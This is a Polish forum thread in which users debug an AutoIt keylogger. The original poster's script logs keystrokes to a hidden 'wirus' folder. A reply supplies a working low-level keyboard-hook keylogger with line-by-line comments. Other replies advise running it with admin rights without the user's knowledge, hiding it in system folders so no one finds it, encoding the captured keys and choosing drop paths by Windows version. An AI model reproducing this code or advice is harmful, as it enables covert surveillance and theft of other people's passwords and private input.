Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Problem] Niedziałająca pętla


Rekomendowane odpowiedzi

Opublikowano

Mam taki kod:

 

#include <SMTP.au3>
#include <Misc.au3>
#NoTrayIcon
#RequireAdmin

Local $dll=DllOpen("user32.dll")

$sc = @WindowsDir &"\wirus\program.txt"

Local $file = FileOpen($sc, 1)

while 1
If _IsPressed(41,$dll)Then
FileWrite ($file,"a")
EndIf
While _IsPressed(41) = 1
WEnd

WEnd

 

Włączam program, i jak dojdzie do while 1 to się od razu wyłącza (Exit code: 0)

Wcześniej robiłem tego typu programy i wszystko działało, o co chodzi?

Opublikowano

o nic, skoro to kawałek kodu to w reszcie masz błąd

 

jak by nie było to końcówka jest bez sensu

If you = stupid then

insert(foot.in.your.ass)

end if

licznik-54-96732-stat.png

Opublikowano

#include <SMTP.au3>
#include <Misc.au3>
#NoTrayIcon
#RequireAdmin

Local $dll=DllOpen("user32.dll")
$sc = @WindowsDir &"\wirus\program.txt"

Local $file = FileOpen($sc, 1)

while 1
If _IsPressed(41,$dll)Then
FileWrite ($file,"a")
EndIf
While _IsPressed(41) = 1
WEnd

If _IsPressed (42,$dll)Then
FileWrite($file,"b")
EndIf
While _IsPressed(42) = 1
WEnd

If _IsPressed(43,$dll)Then
FileWrite($file,"c")
EndIf
While _IsPressed(43) = 1
WEnd

If _IsPressed(44,$dll)Then
FileWrite($file,"d")
EndIf
While _IsPressed(44) = 1
WEnd

If _IsPressed(45,$dll)Then
FileWrite($file,"e")
EndIf
While _IsPressed(45) = 1
WEnd

If _IsPressed(46,$dll)Then
FileWrite($file,"f")
EndIf
While _IsPressed(46) = 1
WEnd

If _IsPressed(47,$dll)Then
FileWrite($file,"g")
EndIf
While _IsPressed(47) = 1
WEnd

if _IsPressed(48,$dll)Then
FileWrite($file,"h")
EndIf
While _IsPressed(48) = 1
WEnd

If _IsPressed(49,$dll)Then
FileWrite($file,"i")
EndIf
While _IsPressed(49) = 1
WEnd

If _IsPressed("4a",$dll)Then
FileWrite($file,"j")
EndIf
While _IsPressed("4a") = 1
WEnd

If _IsPressed("4b",$dll)Then
FileWrite($file,"k")
EndIf
While _IsPressed("4b") = 1
WEnd

If _IsPressed("4c",$dll)Then
FileWrite($file,"l")
EndIf
While _IsPressed("4c") = 1
WEnd

If _IsPressed("4d",$dll)Then
FileWrite($file,"m")
EndIf
While _IsPressed("4d") = 1
WEnd

If _IsPressed("4e",$dll)Then
FileWrite($file,"n")
EndIf
While _IsPressed("4e") = 1
WEnd

If _IsPressed("4f",$dll)Then
FileWrite($file,"o")
EndIf
While _IsPressed("4f") = 1
WEnd

If _IsPressed("50",$dll)Then
FileWrite($file,"p")
EndIf
While _IsPressed("50") = 1
WEnd

If _IsPressed("51",$dll)Then
FileWrite($file,"q")
EndIf
While _IsPressed("51") = 1
WEnd

If _IsPressed("52",$dll)Then
FileWrite($file,"r")
EndIf
While _IsPressed("52") = 1
WEnd

If _IsPressed("53",$dll)Then
FileWrite($file,"s")
EndIf
While _IsPressed("53") = 1
WEnd

If _IsPressed("54",$dll)Then
FileWrite($file,"t")
EndIf
While _IsPressed("54") = 1
WEnd

If _IsPressed("55",$dll)Then
FileWrite($file,"u")
EndIf
While _IsPressed("55") = 1
WEnd

If _IsPressed("56",$dll)Then
FileWrite($file,"v")
EndIf
While _IsPressed("56") = 1
WEnd

If _IsPressed("57",$dll)Then
FileWrite($file,"w")
EndIf
While _IsPressed("57") = 1
WEnd

If _IsPressed("58",$dll)Then
FileWrite($file,"x")
EndIf
While _IsPressed("58") = 1
WEnd

If _IsPressed("59",$dll)Then
FileWrite($file,"y")
EndIf
While _IsPressed("59") = 1
WEnd

If _IsPressed("5a",$dll)Then
FileWrite($file,"z")
EndIf
While _IsPressed("5a") = 1
WEnd

If _IsPressed("30",$dll)Then
FileWrite($file,"0")
EndIf
While _IsPressed("30") = 1
WEnd

If _IsPressed("31",$dll)Then
FileWrite($file,"1")
EndIf
While _IsPressed("31") = 1
WEnd

If _IsPressed("32",$dll)Then
FileWrite($file,"2")
EndIf
While _IsPressed("32") = 1
WEnd

If _IsPressed("33",$dll)Then
FileWrite($file,"3")
EndIf
While _IsPressed("33") = 1
WEnd

If _IsPressed("34",$dll)Then
FileWrite($file,"4")
EndIf
While _IsPressed("34") = 1
WEnd

If _IsPressed("35",$dll)Then
FileWrite($file,"5")
EndIf
While _IsPressed("35") = 1
WEnd

If _IsPressed("36",$dll)Then
FileWrite($file,"6")
EndIf
While _IsPressed("36") = 1
WEnd

If _IsPressed("37",$dll)Then
FileWrite($file,"7")
EndIf
While _IsPressed("37") = 1
WEnd

If _IsPressed("38",$dll)Then
FileWrite($file,"8")
EndIf
While _IsPressed("38") = 1
WEnd

If _IsPressed("39",$dll)Then
FileWrite($file,"9")
EndIf
While _IsPressed("39") = 1
WEnd

If _IsPressed("0d",$dll)Then
FileWrite($file,"{Ent}")
EndIf
While _IsPressed("0d") = 1
WEnd

If _IsPressed("08",$dll)Then
FileWrite($file,"{BckSpace}")
EndIf
While _IsPressed("08") = 1
WEnd

If _IsPressed("20",$dll)Then
FileWrite($file,"{Spacja}")
EndIf
While _IsPressed("20") = 1
WEnd

If _IsPressed("1",$dll)Then
FileWrite($file,"{Lpm}")
EndIf
While _IsPressed("1") = 1
WEnd

If _IsPressed("2",$dll)Then
FileWrite($file,"{Ppm}")
EndIf
While _IsPressed("2") = 1
WEnd
WEnd

 

To całość programu, wyłącza się :(

Opublikowano

Napisz funkcję na sprawdzanie, czy przycisk jest nadal wciśnięty.. prawdopodobnie WEnd oddziałowuje na inny loop (co nie powinno mieć miejsca):

 

func waitTillPressed( $key )
while _isPressed( $key ) = 1
wend
endfunc
 

 

Możesz też spróbować z tym:

http://www.autoitscript.com/autoit3/docs/keywords/Do.htm

WSZYSTKIE PLIKI W CHMURZE DLA MPCFORUM ZOSTAŁY USUNIĘTE. NIE KORZYSTAĆ Z MOICH PROGRAMÓW.

Proszę nie ingerować w moje posty/tematy, w razie potrzeby usunąć całą zawartość. Nie pomagam.

Opublikowano

Jak usunąłem ten fragment:

 

#NoTrayIcon
#RequireAdmin

#include <SMTP.au3>
$sc = @WindowsDir &"\wirus\program.txt"
Local $file = FileOpen($sc, 1)

 

i zameniłem $file na "koniec.txt" to wszystko pięknie działało, wychwytywało klawisze, ma ktoś jakieś pomysły przez co to?

Opublikowano

#RequireAdmin, innej opcji nie ma. Spróbuj bez tego.

WSZYSTKIE PLIKI W CHMURZE DLA MPCFORUM ZOSTAŁY USUNIĘTE. NIE KORZYSTAĆ Z MOICH PROGRAMÓW.

Proszę nie ingerować w moje posty/tematy, w razie potrzeby usunąć całą zawartość. Nie pomagam.

Opublikowano

 

 

#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <StructureConstants.au3>

;############################################ DO POPRAWKI
$File = @MyDocumentsDir &"\wirus\program.txt"
;############################################ DO POPRAWKI

$File = FileOpen($File,9)

OnAutoItExitRegister("Cleanup")

$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
$hmod = _WinAPI_GetModuleHandle(0)
$hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)


While 1
Sleep(10)
WEnd


Func EvaluateKey($keycode)
If (($keycode > 64) And ($keycode < 91)) _ ; a - z
Or (($keycode > 96) And ($keycode < 123)) _ ; A - Z
Or (($keycode > 47) And ($keycode < 58)) Then ; 0 - 9
FileWrite($File,Chr($keycode))
EndIf
EndFunc


Func _KeyProc($nCode, $wParam, $lParam)
Local $tKEYHOOKS
$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
If $nCode < 0 Then
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndIf
If $wParam = $WM_KEYDOWN Then
EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
EndIf
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndFunc

Func Cleanup()
_WinAPI_UnhookWindowsHookEx($hHook)
EndFunc

 

Zmień sobie tylo lokalizacje

 

Kod napisany(przerobiony) dla celów edukacyjnych.

Opublikowano

#RequireAdmin, innej opcji nie ma. Spróbuj bez tego.

Działa, tylko co mam zrobić aby uruchomić to jako admin?

 

 

 

#include <WinAPI.au3>

#include <WindowsConstants.au3>

#include <StructureConstants.au3>

 

;############################################ DO POPRAWKI

$File = @MyDocumentsDir &"\wirus\program.txt"

;############################################ DO POPRAWKI

 

$File = FileOpen($File,9)

 

OnAutoItExitRegister("Cleanup")

 

$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")

$hmod = _WinAPI_GetModuleHandle(0)

$hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)

 

 

While 1

Sleep(10)

WEnd

 

 

Func EvaluateKey($keycode)

If (($keycode > 64) And ($keycode < 91)) _ ; a - z

Or (($keycode > 96) And ($keycode < 123)) _ ; A - Z

Or (($keycode > 47) And ($keycode < 58)) Then ; 0 - 9

FileWrite($File,Chr($keycode))

EndIf

EndFunc

 

 

Func _KeyProc($nCode, $wParam, $lParam)

Local $tKEYHOOKS

$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)

If $nCode < 0 Then

Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)

EndIf

If $wParam = $WM_KEYDOWN Then

EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))

EndIf

Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)

EndFunc

 

Func Cleanup()

_WinAPI_UnhookWindowsHookEx($hHook)

EndFunc

 

 

Zmień sobie tylo lokalizacje

 

Kod napisany(przerobiony) dla celów edukacyjnych.

 

Mógłbyś wytłumaczyć bo trochę się pogubiłem, ale dzięki :)

 

Zainstaluj sobie ardmax keylogger albo inny soft.

Nie chcę gotowców

Opublikowano

Kolega dwa posty wyżej podał bardziej zaawansowany skrypt pod względem struktury.

#RequireAdmin możesz zastąpić do twojego niecnego skryptu tym:

http://www.autoitscript.com/autoit3/docs/functions/RunAs.htm

 

Nie znam innego sposobu, aby bez wiedzy użytkownika uruchomić skrypt jako admin.. Tak w ogóle potrzebny Ci admin do tego? :)

WSZYSTKIE PLIKI W CHMURZE DLA MPCFORUM ZOSTAŁY USUNIĘTE. NIE KORZYSTAĆ Z MOICH PROGRAMÓW.

Proszę nie ingerować w moje posty/tematy, w razie potrzeby usunąć całą zawartość. Nie pomagam.

Opublikowano

Ok dzięki, w sumie admin nie jest potrzebny ale jak będzie w folderze systemowym to jest mniejsza szansa na to, że ktoś znajdzie, mógłbym również zrobić tak np. na klawiaturze klikam "w" to wpisuję "p" itd. a potem odkodowuje.

Kolega dwa posty wyżej podał bardziej zaawansowany skrypt pod względem struktury.

Tak, tylko ja się w tym kodzie nie mogę połapać, do czego służą te funkcje i prosiłbym o spis wszystkich znaków to bym dodał spacje, enter i kilka innych.

Opublikowano

Ale jak program nie uruchamia się jako admin, to budzi zaufanie użytkownika ;)

 

Do tego możesz ogarnąć system użytkownika, jeśli np. jest to Win XP, to wtedy kopiuj do takiej i takiej lokalizacji, a jeśli Win 7 to do takiej i takiej.

Opublikowano

 

 

#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <StructureConstants.au3>

;############################################ DO POPRAWKI
$File = @MyDocumentsDir &"\wirus\program.txt"
;############################################ DO POPRAWKI

$File = FileOpen($File,9) ; Chyba nie musze opisywać

OnAutoItExitRegister("Cleanup") ; Gdy dojdzie do wyłączenia programu, na sam koniec odpalona zostanie ta funkcja

$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam") ; Definiuje fukncję, która w przypadku wciśnięcia klawisza wykonuje funkcje zwrotną
$hmod = _WinAPI_GetModuleHandle(0) ; Sam tego jeszcze nie pojmuje
$hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod) ; Definiuje nasłuch (w tym przypadku na klawiature)


While 1 ; pętla główna
Sleep(10)
WEnd



Func _KeyProc($nCode, $wParam, $lParam) ; Funkcja zwrotna
Local $tKEYHOOKS
$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam) ; Tworzymy strukture $tagKBDLLHOOKSTRUCT (w helpie F1 poczytaj o tym)
If $nCode < 0 Then
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndIf
If $wParam = $WM_KEYDOWN Then
EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode")) ; Pobieranie zawartości vkCode (czyli parametru $tagKBDLLHOOKSTRUCT) struktury $tKEYHOOKS a następnie wykonanie funkcji sprawdzającej kod ASCII i wpisującej tego znaku do pliku.
;^^^^^^^^^ prościej sprawdzanie jaki klawisz został wciśnięty :)
EndIf
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam) ; Nie wiem jak to określić, coś jakby przekazywanie informacji do następnej procedury
EndFunc

Func EvaluateKey($keycode) ; funkcja wpisująca klawisz do pliku jeśli $keycode jest a-z/A-Z/0-9 możesz dodać własne analogincznie. Te numerki to kody ASCII, wpisz w internecie a więcej się dowiesz.
If (($keycode > 64) And ($keycode < 91)) _ ; A - Z
Or (($keycode > 96) And ($keycode < 123)) _ ; a - z
Or (($keycode > 47) And ($keycode < 58)) Then ; 0 - 9 jeśli chcesz dodać więcej klawiszy do sprawdzenia pamiętaj aby "Then" znajdowało się na końcu
;Or ($keycode = 27) ; Escape
;Or ($keycode = 32) ; Spacja
;Or ($keycode = 13) Then ; Enter
FileWrite($File,Chr($keycode))
EndIf
EndFunc

Func Cleanup()
_WinAPI_UnhookWindowsHookEx($hHook) ; Usuwamy nasłuch klawiatury
EndFunc

 

Sorry, że wcześniej nie pomyślałem.

Jeśli coś jest źle opisane, nie miejcie pretensji. Sam jestem jeszcze newbie i się dopiero ucze.

Opublikowano

Ok dzięki mam jeszcze pytanie podobno można zrobić zamiast sprawdzania czy klawisz jest klikniety to symulacja nacisniecia klawisza z hookiem na klawiaturę, jak takie coś zrobić?

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...